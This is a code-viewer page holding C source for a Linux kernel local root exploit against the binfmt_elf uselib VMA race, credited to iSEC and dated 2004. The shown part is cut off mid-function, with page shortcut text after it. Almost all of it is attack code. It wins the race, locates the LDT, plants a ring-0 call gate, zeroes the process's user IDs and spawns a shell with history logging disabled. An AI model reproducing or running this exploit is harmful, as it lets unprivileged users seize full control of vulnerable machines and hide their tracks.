📄 root.c.txt
字号:
/*
* binfmt_elf uselib VMA insert race vulnerability
* v1.08
*
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>
#include <linux/elf.h>
#include <linux/linkage.h>
#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>
#define str(s) #s
#define xstr(s) str(s)
#define MREMAP_MAYMOVE 1
// temp lib location
#define LIBNAME "/dev/shm/_elf_lib"
// shell name
#define SHELL "/bin/bash"
// time delta to detect race
#define RACEDELTA 5000
// if you have more deadbabes in memory, change this
#define MAGIC 0xdeadbabe
// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define TMPLEN 256
#define PGD_SIZE ( PAGE_SIZE*1024 )
extern char **environ;
static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
val = 0,
go = 0,
finish = 0,
scnt = 0,
ccnt=0,
delta = 0,
delta_max = RACEDELTA,
map_flags = PROT_WRITE|PROT_READ;
static int
fstop=0,
silent=0,
pidx,
pnum=0,
smp_max=0,
smp,
wtime=2,
cpid,
uid,
task_size,
old_esp,
lib_addr,
map_count=0,
map_base=0,
map_addr,
addr_min,
addr_max,
vma_start,
vma_end,
max_page;
static struct timeval tm1, tm2;
static char *myenv[] = {"TERM=vt100",
"HISTFILE=/dev/null",
NULL};
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib __NR_uselib
#define __NR_sys_mmap2 __NR_mmap2
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap __NR_mremap
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);
inline _syscall1(int, sys_uselib, char*, l);
inline _syscall0(void, sys_sched_yield);
inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;
r=t2->tv_sec - t1->tv_sec;
r*=1000000;
r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
if(!errno) {
fprintf(stdout, "\n[-] FAILED: %s ", message);
} else {
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
(char*) (strerror(errno)) );
}
if(critical)
printf("\nCRITICAL, entering endless loop");
printf("\n");
fflush(stdout);
unlink(libname);
kill(cpid, SIGKILL);
for(;;) kill(0, sig);
}
// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
finish=1;
for(;;) {
errno = 0;
// check if raced:
recheck:
if(!go) sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
smp = smp_max;
// check if lib VMAs exist as expected under race condition
recheck2:
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
if(val) continue;
errno = 0;
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if( !val || (val<0 && errno!=ENOMEM) ) continue;
// SMP?
smp--;
if(smp>=0) goto recheck2;
// recheck race
if(!go) continue;
finish++;
// we need to free one vm_area_struct for mmap to work
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
if(val) fatal("mprotect", 0);
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(-1==val) fatal("mmap2 race", 0);
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
_exit(0);
}
return 0;
}
int callme_1()
{
return val++;
}
inline int valid_ptr(unsigned ptr)
{
return ptr>=task_size && ptr<addr_min-16;
}
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
t=(unsigned*)p[3];
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
return 1;
}
return 0;
}
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;
// find & reset uids
while(addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[0] = addr[2] = addr[3] = 0;
addr[4] = addr[5] = addr[6] = addr[7] = 0;
// find & correct VMA
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
if( validate_vma(addr, vma_start, vma_end) ) {
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel_code \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
int callme_2()
{
return val + task_size + addr_min;
}
void sigfailed(int v)
{
ccnt++;
fatal("lcall", 1);
}
// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
unlink(libname);
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
if(r) fatal("mprotect 1", 1);
// check if really LDT
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
signal(SIGSEGV, sigfailed);
r = *v;
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}
// yeah, setup CPL0 gate
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
v[1] = 0x00cf9b00;
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
v[1] = 0x00cf9300;
// reprotect to get only one big VMA
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
if(r) fatal("mprotect 2", 1);
// CPL0 transition
sys_sched_yield();
val = callme_1() + callme_2();
asm("lcall $" xstr(SEL_GATE) ",$0x0");
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
} else {
printf("\n[-] uid change failed" ); fflush(stdout);
sigfailed(0);
}
signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
execl(shellname, "sh", NULL);
fatal("execl", 0);
}
void scan_mm_finish();
void scan_mm_start();
// kernel page table scan code
void scan_mm()
{
map_addr -= PAGE_SIZE;
if(map_addr <= (unsigned)addr_min)
scan_mm_start();
scnt=0;
val = *(int*)map_addr;
scan_mm_finish();
}
void scan_mm_finish()
{
retry:
__asm__("movl %0, %%esp" : :"m"(old_esp) );
if(scnt) {
pagemap[pidx] ^= 1;
}
else {
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
}
pidx--;
scan_mm();
goto retry;
}
// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
pnum++;
if(pnum==1) {
pidx = max_page-1;
}
else if(pnum==2) {
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES-1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
l.limit_in_pages = 1;
if( modify_ldt(1, &l, sizeof(l)) != 0 )
fatal("modify_ldt", 1);
pidx = max_page-1;
}
else if(pnum==3) {
npg=0;
for(pidx=0; pidx<=max_page-1; pidx++) {
if(pagemap[pidx]) {
npg++;
fflush(stdout);
}
else if(npg == LDT_PAGES) {
npg=0;
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
} else {
npg=0;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -